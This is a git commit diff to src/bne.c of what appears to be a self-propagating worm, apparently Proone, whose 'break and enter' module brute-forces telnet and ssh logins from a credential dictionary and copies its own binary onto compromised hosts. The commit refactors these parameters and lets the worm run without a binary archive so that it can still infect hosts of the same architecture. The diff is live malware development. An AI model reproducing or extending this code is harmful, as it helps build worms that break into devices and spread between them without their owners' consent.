diff options
author | David Timber <mieabby@gmail.com> | 2021-07-22 22:30:48 +1000 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2021-07-22 22:30:48 +1000 |
commit | 5a98bcd78867b4fb1a272ce26774c8811f28750d (patch) | |
tree | febb7d4d3112d4ce598cd9352fc81d2da2d54ca6 /src/bne.c | |
parent | a0b92490365dc88d50c81780ff9ebb6ddb681e5e (diff) |
Impl PRNE_HTBT_OP_RCB ...
* Parameterize prne_start_bin_rcb() args
* Change value of PRNE_ARCH_NONE to 0 to use it over the wire (problem
arises deserialising)
* tostr() and fstr() functions set errno to EINVAL
* Run bne without binary archive to support same-arch infection
Diffstat (limited to 'src/bne.c')
-rw-r--r-- | src/bne.c | 21 |
1 files changed, 12 insertions, 9 deletions
@@ -1298,13 +1298,13 @@ static bool bne_sh_start_rcb (prne_bne_t *ctx, bne_sh_ctx_t *sh_ctx) { ctx->result.prc = prne_start_bin_rcb_compat( &sh_ctx->rcb, ctx->result.arch, - ctx->param.rcb.self, - ctx->param.rcb.m_self, - ctx->param.rcb.self_len, - ctx->param.rcb.exec_len, - ctx->param.rcb.m_dv, - ctx->param.rcb.dv_len, - ctx->param.rcb.ba, + ctx->param.rcb->self, + ctx->param.rcb->m_self, + ctx->param.rcb->self_len, + ctx->param.rcb->exec_len, + ctx->param.rcb->m_dv, + ctx->param.rcb->dv_len, + ctx->param.rcb->ba, &actual); if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_DBG0) { @@ -3217,7 +3217,6 @@ static void *bne_entry_f (void *p) { void prne_init_bne_param (prne_bne_param_t *p) { prne_memzero(p, sizeof(prne_bne_param_t)); - p->rcb.self = PRNE_ARCH_NONE; } void prne_free_bne_param (prne_bne_param_t *p) {} @@ -3228,6 +3227,7 @@ const char *prne_bne_vector_tostr (const prne_bne_vector_t v) { case PRNE_BNE_V_BRUTE_TELNET: return "telnet"; case PRNE_BNE_V_BRUTE_SSH: return "ssh"; } + errno = EINVAL; return NULL; } @@ -3241,7 +3241,10 @@ prne_bne_t *prne_alloc_bne ( if (ctr_drbg == NULL || param->cb.exec_name == NULL || - param->rcb.ba == NULL || + param->rcb == NULL || + /* The instance will only be able to infect hosts with same arch without + bin archive. */ + // param->rcb->ba == NULL || param->cred_dict->cnt == 0) { errno = EINVAL; |